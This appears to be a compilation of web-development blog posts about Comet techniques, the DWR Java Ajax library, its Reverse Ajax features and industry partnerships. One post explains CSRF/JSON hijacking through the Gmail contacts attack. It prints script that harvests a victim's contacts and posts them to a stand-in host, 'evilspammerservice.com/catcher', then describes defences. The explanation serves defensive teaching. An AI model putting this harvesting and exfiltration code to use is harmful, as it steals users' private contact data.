Motivation for Comet

Interested in what our friends are up to, even if no-one else cares (as twitter illustrates). And also interested in what systems/things are doing, not just people. Chat (meebo), collaborative editing (google docs), streaming financial data (lightstreamer), async updates (yes.com), online gaming, async server processing (polar rose, i.e. shift processing complexity to the server – note this could be seen as an alternative to Gears-style local processing in some situations).

The web was designed to be connectionless – Comet blatently aims to make it connected.

Performance

Actually does scale. Joe shows the following graph:

Technical

Seven ways (!) to implement Comet.

Long polling – “slow” XHR request. Server doesn’t answer immediately. Special part of HTTP to do this – chunked mode. However, IE “lies to you” – keeps saying it’s got something, but you can’t actually inspect it.

Forever frame – Send text/plain and 4k whitespace to flush IE’s buffer. Flush with script tag for each data block. Must keep restarting to avoid memory leak.

Script tags – Dynamic script blocks, can point to any domain.

WebSockets – HTML 5 standard. Cleaner solution.

ActiveXObject(“htmlfile”) – htmlfile is an activeX control similar to XHR. Normally causes “clicking” noise in browser, but there’s a hack to turn it off in most cases. Obviously, this only works in IE. Most bizzare thing is you get 49 Javascript before garbage collection, leading to hair-pulling moments when you try to work out why your 50th command isn’t executing!

Mime messaging – “What push was built on 11 years ago” – x-multipart-replace. Works really well, though with memory leakage issues, but not in IE and historically not in the other browsers either.

Flash remoting

Forever GIF (bonus technique) – keep sending out new slices of an animated GIF!

Technical Issues

Co-ordination when browser has multiple tabs open to the same server – using window.name or cookies, but better solution is multi-home DNS – each call points to the server using a different name (1.example.com, 2.example.com etc all pointing to the same IP address).

Issues detecting when browser or connection has broken.

Proxies which don’t let the stream go through in real-time – hold on to the chunks for a while before releasing them all at once. Can detect if this is happening from the browser using a timestamp technique.

… so just like with Ajax, we have to come up with hacks, likewise with Comet. Facebook and GMail show it’s possible to work around these problems and get Comet working at scale.

API Styles

e.g. with WebSocket you’re simply posting and receiving data. Event handlers for onOpen, onRead etc. Joe says this will be too low-level in many cases, hence the following styles.

PubSub – e.g. cometd. Low coupling (server-browser separation – Joe describes demo where servers hot-swapped without affecting client), inter-language interop. Good analogy to SOAP, which has gradually shifted from RPC to document exchange.

API – this looks to me like Ruby’s remote JS – server controls what’s happening on the browser. e.g. Effect.shake(“price”) on the server will make the price div shake on the client.

Data Syc API – Keep changing/updating data store. Simplest to understand.

• Offline Support (Google Gears and/or Dojo Offline)
• TIBCO General Interface integration
• Aptana Jaxer integration
• OpenAjax Hub, PubSub, Bayeux, etc.

Joe gave a nice example of how the offline functionality could work:

For example, InfoQ uses DWR. If we get it right, it should be easy for you to make it so that if the network dies while a user is writing a comment, then the comment doesn’t get lost. When the network is next up, and the user visits InfoQ, the comment will be resent then. It’s a cool feature, and using DWR it should come almost for free.

DWR 3.0 is set to be released in June.

Joe Walker tipped me off to a preview of iWebMvc which is meta framework that ties together DWR, Dojo, Spring and Hibernate/JPA a la AppFuse or Grails.

It is created by Jose Noheda, a DWR commiter, and the project aims are:

• Is based on Java
  
  Although supporting Grooy / JRuby is a plus
• Helps me to kick start a project
  
  But simplifying the process by giving me the best (and this can be tricky) set of frameworks for each task
• Integrates both server and client sides
  
  And it’s lightweight, robust and extensible. Read enterprise quality.
• Supports all the common tasks a web app has to handle
  
  I include here: User Management, CRUD operations, i18n support (both framework & data), AJAX and astounding visuals

Frank Zammetti has authored the first book dedicated to DWR, Practical DWR 2 (Amazon).

Joe Walker wrote a foreward which he posted, and here is Frank’s personal message:

Ajax represents a brave, new(ish) world of web development where coding on the client is just as important as on the server side. Hundreds of libraries exist that purport to make it easier for you, and there’s always the “Do It Yourself” approach. Which route should you take?

If you work with Java technologies, one choice that stands out is DWR, or Direct Web Remoting. With DWR, JavaScript-based client code that calls server-side objects works as if it were all running in the same process space. The simplicity and power DWR blends together has few rivals today.

In this, the first DWR book to be published, you’ll be introduced to DWR and all it has to offer, including reverse Ajax, XML and annotation-based configuration, container-managed security, simple POJO-based development, and greatly simplified client-side coding. You’ll learn by doing as you explore six fully functional applications including the following:

• A webmail client for remotely accessing your e-mail accounts
• A wiki for collaborative efforts
• A file manager for remotely managing your server’s file system
• A portal for enterprise reporting needs
• A project management/time-tracking system
• Even a fun little game!

In addition to DWR, you’ll also see how other popular libraries help realize the RIA/Web 2.0 vision, including Spring, Hibernate, dHTMLx, DataVision, Freemarker, and Ext JS. If you’re doing RIA development in Java, DWR is for you, as too is this book.

(and if you like sci-fi and pop culture references strewn throughout your reading material, and a touch of wise a**-edness too, you’re in for a good time to boot!)

gi.js is a library to help integrate DWR with TIBCO GI. It is due for official release with DWR 3.0, however it is reasonably stable now, and will probably only undergo performance tweaking before the official 3.0 release.

Since it doesn't have any dependencies on DWR, it can be used without waiting for an official release. The best place to download it is either via a milestone release of DWR (see the java.net download page), or through the FishEye view of the DWR CVS repository. See this direct link to gi.js.

The article walks through a simple example integrating with a fake social network backend:

So DWR is now part of the Dojo Foundation. I thought it would be good to quickly summarize where we are, and what I'm working on, and to give everyone a chance to comment.

DWR 2.0 has been out for 6 months or so. At the time, I swore that the next release would be a small one, called 2.1. However it appears that I’m not good at swearing because there is lots in the next release - I think we’re going to have to call it 3.0.

The next release of DWR looks feature rich adding enhanced JSON support and Gears integration among other things.

All of the upcoming updates to DWR v3.0 are detailed by Joe in his post.

The news is that DWR has joined the Dojo Foundation. This is all thanks to SitePen, which Joe Walker has joined (technically, he has joined the UK Ltd etc).

I am excited to see what will come out of a closer collaboration. Ben recently had to implement a dashboard that needed to tie in to backend Java code, and DWR was a breeze and handled everything for him, including batching, which meant that only a few larger transactions were occurring instead of millions of little calls.

Anyway, back to the news:

“SitePen has experienced significant growth this year and we’re well
aware of the amazing talent and opportunity that will open up by
expanding in the UK, and all of Europe for that matter,” said SitePen
CEO, Dylan Schiemann. “Having a developer as talented as Joe Walker
join SitePen and head up our UK operations is an amazing win for SitePen
and its clients, who will now have access to even more valuable
expertise with DWR and related technologies.”

DWR is an important open source library for Ajax and Java developers
because it simplifies development of applications based on Ajax, Reverse
Ajax, and Comet techniques. DWR will become part of the Dojo
Foundation, home of the Dojo Toolkit, Cometd and OpenRecord projects.
All Dojo Foundation projects exist separately, preserving flexibility
and choice for the varying development communities.

“SitePen is an extremely forward-thinking company that understands the
tremendous value of open source and I’m excited to be a part of it,”
said Joe Walker. “Donating DWR to the Dojo Foundation will allow for
increased adoption and a stable environment in a great organization.”

“Development teams, both small and large, have quickly discovered the
benefits of using DWR in conjunction with leading Ajax libraries like
Dojo, TIBCO General Interface, Scriptaculous, and others. "DWR joining
the Dojo Foundation is a great win for the DWR community," said Kevin
Hakman, director, TIBCO Software, Inc. who has been a corporate sponsor
of DWR's development for more than a year. "The close alignment of these
projects, and the anticipated integration points between them, will
serve to further simplify creating Ajax applications for Java developers."

A huge congrats to Joe, Dylan, Alex, and the rest of the teams.

What is cool about this is that the APIs from Java and JavaScript lands feel right in each, but to do this DWR has to do a lot of fancy work to hide the details.

In Java land you write something like the following, which uses Java BufferedImages.

But a BufferedImage means nothing to JavaScript, but that is fine... in JavaScript land you just use the nodes (or so you think).

Anyway, let's watch Joe explain:

The application gives a live 1 to 5 star rating of the sessions, speaker awards (Rockstar, Vulcan, Uber Geek or Droid) and per session chat rooms.

He delves into the details of Comet, Jetty, Continuations, and DWR "Reverse Ajax":

You've now seen how Jetty Continuations combined with Comet can provide an efficient, scalable solution for event-driven Ajax applications. I haven't given any figures for the scalability of Continuations because performance in a real-world application depends on so many variables. Server hardware, choice of operating system, JVM implementation, Jetty configuration, and indeed your Web application's design and traffic profile all affect the performance of Jetty's Continuations under load. However, Greg Wilkins of Webtide (the main Jetty developers) has published a white paper on Jetty 6 that compares the performance of a Comet application with and without Continuations, handling 10,000 concurrent requests. In Greg's tests, using Continuations cuts thread consumption, and concomitantly stack memory consumption, by a factor of more than 10.

You've also seen how easy it is to implement an event-driven Ajax application using DWR's Reverse Ajax technology. Not only does DWR save you much client- and server-side coding, but Reverse Ajax also abstracts the whole server-push mechanism away from your code. You can switch freely among the Comet, polling, or even piggyback methods, simply by altering DWR's configuration. You're free to experiment and find the best-performing strategy for your application, without any impact on your code.

If you'd like to experiment with your own Reverse Ajax applications, a great way to learn more is to download and examine the code of the DWR demos .

We have been talking about this release for awhile, and it is great stuff. Now you can do amazing things with Reverse Ajax, and know that security is core to the framework.

We asked Joe now that this version is out of the door, what is he looking to do for future releases:

JMS support, and OpenAjax Hub support so you can do pub/sub across
reverse ajax from one browser to another and back onto an enterprise
message bus.

ImageConverter to take Swing Images and turn them into Gifs. This would
make things like JCaptcha easy, but it also enable sexy things like
running a Swing app with -headless, taking screenshots and broadcasting
them to browsers. Add some event handling and you have multi-user X over
Ajax.

A Reverse Ajax compiler so we can take a large Javascript API (like for
example GI ;-) and create a Java version that generates script that can
be posted over reverse ajax.

An a million dull things like a better API to convert from
ScriptSessions to HttpSessions, session delete on window close, etc.

Good stuff to come!

Features

• The biggy is Guice support. If it wasn't for the fact that we could add this in without touching the core of DWR, I'd say this was too big a change at this point in the release cycle, however Tim Peierls (who you might know from this project) has done a stack of work to make DWR and Guice play really well together. You can read more about the background on Tim's blog.
• Security: The Fortify review highlighted some areas where DWR was lacking. You can read more about what DWR now does to protect you in the DWR security documentation.
• Reverse Ajax: There have been some cases where reverse ajax has not been as stable as it should be. I hope that most of those are now behind us.

The reverse Ajax features are really quite something. If you haven't checked them out yet, do so.

With a traditional request/response model, DWR (and Lightstreamer) would be calling GI routines to update. With the pub/sub model the distinction between client and server is gone because the UI publishes things it's interested in back to the hub. There's no reason the UI has to be GI even: any UI that groks the OpenAjax hub can play. We could even have several UI components listening to the same messages on one page.

The OpenAjax Hub is getting close to a 1.0 release, and I'm hoping that DWR will have a server-side version of the OpenAjax hub soon after. This would allow you to transparently co-ordinate remote hubs, and even allow publishing of messages from one browser to another.

I've put the DWR version live so anyone can have a play. It's not exciting, but you can see it in action. Just click on an "Industry Sector" to see messages published to that sector. See the DWR/OpenAjax/GI demo. I hope to move where it is hosted soon, and this is definitely something of a test, so don't be surprised if you get a 404. I hope we can get a demo of the Lightstreamer version live soon too.

This is good news for both parties:

• TIBCO GI users will have a new way to integrate with Java web applications
• DWR: The integration work between DWR and TIBCO GI will probably help integrate with other frameworks. Changes made to DWR to work with GI will be exposed for other work. For example, the DWR team will look at automating the currently-hand written server-side version of Scriptaculous Effects.

JBI users may get some tighter integration too, making your life easier. We are excited to see what comes of this.

More details (from the Press Releases)

TIBCO will work with DWR founder, Joe Walker, to provide ready-made integration points between DWR and TIBCO General Interface™, TIBCO’s Ajax Rich Internet Application toolkit for creating rich graphical GUIs in a browser. Additionally, the collaboration will seek to extend DWR so that it can function as a Java Business Integration (JBI) standard service engine and be deployed on TIBCO ActiveMatrix™, the industry’s first service virtualization platform. The complementary components of DWR and General Interface™ will ultimately enable businesses to expand their uses of message and event-based service-oriented architectures.

“We are excited to be working with TIBCO to push adoption of DWR further into the enterprise,” said Joe Walker, DWR founder. “DWR has been a leading Ajax framework for some time but working with TIBCO will help take DWR further into the realm of full Ajax Rich Internet Applications being deployed alongside message and event-driven service platforms.”

With substantial application modernization efforts underway and a continued trend towards SOA in business, the combined Ajax libraries of General Interface and DWR will provide capabilities that deliver rich user features such as editable grids, real-time events and notifications, and streaming data. By running on Internet technology rather than operating or runtime environment dependent technologies, businesses will experience much lower costs of ownership.

“DWR is a rapid way for Java developers to expose Java objects as simple Ajax services without the need for additional configuration or transformation. We have many customers already using DWR with the General Interface Ajax library,” said Kevin Hakman, director product marketing, TIBCO General Interface. “With DWR’s reverse Ajax capability, messages and events can be pushed from the server to the browser so that Web applications can also have real-time notification and streaming data features.”

Read Joe Walker's thoughts

CSRF attacks are Cross Site Request Forgery attacks, which are cousins of XSS, but different.

Joe Walker of DWR has written a detailed account of CSRF and how to avoid exposing your applications to them.

Anatomy of the Gmail Attack

If you were logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?

The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.

There is a Google URL that returns some script containing your contacts:

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999

The page will look like this:

PLAIN TEXT

JAVASCRIPT:

1.  
2. google ({
3.   Success: true,
4.   Errors: [],
5.   Body: {
6.     AuthToken: {
7.       Value: '********'
8.     },
9.     Contacts: [
10.       {
11.         Id: '***',
12.         Email: 'users at dwr.dev.java.net',
13.         Affinity: ***,
14.         Groups: [
15.           {
16.             id: '^Freq',
17.             value: 'users at dwr.dev.java.net'
18.           }
19.         ],
20.         Addressess: [],
21.         Phoness: [],
22.         Imss: []
23.       },
24.     // Lots more contacts here
25.     ]
26.   }
27. })
28.  

So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:

PLAIN TEXT

HTML:

1.  
2. <script type="text/javascript">
3. function google(data){
4.     var emails, i;
5.     for (i = 0; i <data.Body.Contacts.length; i++) {
6.         mails += "<li>" + data.Body.Contacts[i].Email + "";
7.     }
8.     document.write("<ol>" + emails + "</ol>");
9. }
10. </script>
11.  
12. <script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
13. </script>
14.  

But it would be just as easy to post the list of addresses off to some spam address catcher service:

PLAIN TEXT

HTML:

1.  
2. <script type="text/javascript">
3. function google(data){
4.     var body, i;
5.     for (i = 0; i <data.Body.Contacts.length; i++) {
6.         body += data.Body.Contacts[i].Email + "\n";
7.     }
8.     var xhr = new ActiveXObject("Microsoft.XMLHTTP");
9.     xhr.open("POST", "http://evilspammerservice.com/catcher");
10.     xhr.send(body);
11. }
12. </script>
13.  

How to Protect Your Server

There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.

Things that wont protect you:

• Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
• Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
• JSON: Removing the function call in the GMail example would mean we would have to use XHR rather then just a simple Script Tag. The door is still wide open.

Secret Hidden Fields

If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).

This technique is good for the "Web 1.0" situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.

Double Submit the Cookie

The CSRF attack works by subverting what the browser will do with the cookie.  Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).

If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.

Use a Library

Specifically - use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.

There is some talk on ZDNet and it appears that Digg may have the same issue.

New in a nutshell

JavaScript Proxy API

DWR can dynamically generate JavaScript from a Java API. This is done at runtime rather than compile time, so we can use it to remote control many browsers. This makes it very easy to write things like chat applications, or anything particularly dynamic. Messages are sent to clients using Reverse Ajax.

Reverse Ajax

DWR supports 3 ways to asynchronously transfer messages from the server to the browser: Comet (long-lived HTTP connections), Polling and Piggyback. Of these Comet and Polling are active (fast but require extra network traffic) and Piggyback is passive (slower but doesn't need extra network traffic). DWR automatically selects the best method transparently to the programmer.

Security

Two of the the biggest generic dangers to ajax applications today arr Cross-Site Scripting (XSS), which most people are aware of, and the new tool in the hack-box: Cross-Site Request Forgery (CSRF). DWR helps you protect your site against these attacks by providing automatic protection against CSRF attacks for many configurations, and by defaulting to a mode where XSS attacks are reduced.

• Download DWR 2.0
• More details on the new and noteworthy
• More details on the reverse ajax implementations

The concept was very well received - many smiles around the room when the idea was introduced. With Joe talking and Bram typing they took a pre-created boilerplate (configuration and some of the simpler tasks completed beforehand due to the time constraint) and turned it into a simple, but fully functional, multiplayer game.

I'm happy to report that I don't have an awful lot to report regarding the complex inner workings of the application. Those familiar with DWR will find that the code contains few things unfamiliar or even 'advanced'. As someone with only an intermediate DWR skillset - I had no trouble following the code Joe and Bram were creating. The final product was simple but functional - intentionally avoiding features that would improve the game but cloud the demo. Joe and Bram were able to hide from each other, fire, and even chat as they played. The code for the demo can be found here (near the bottom at the time of this post).

The most contested point was the use of "reverse ajax" to sync with the current server status at timed intervals. Reverse Ajax was introduced in v2.0 m1 (current stable release is v1.1.3) Concerns centered on potential security issues - Joe explained that they do as much as reasonably possible to stop malicious users, but in the end if you are a malicious user: there are many ways that you can bring the server down without DWR.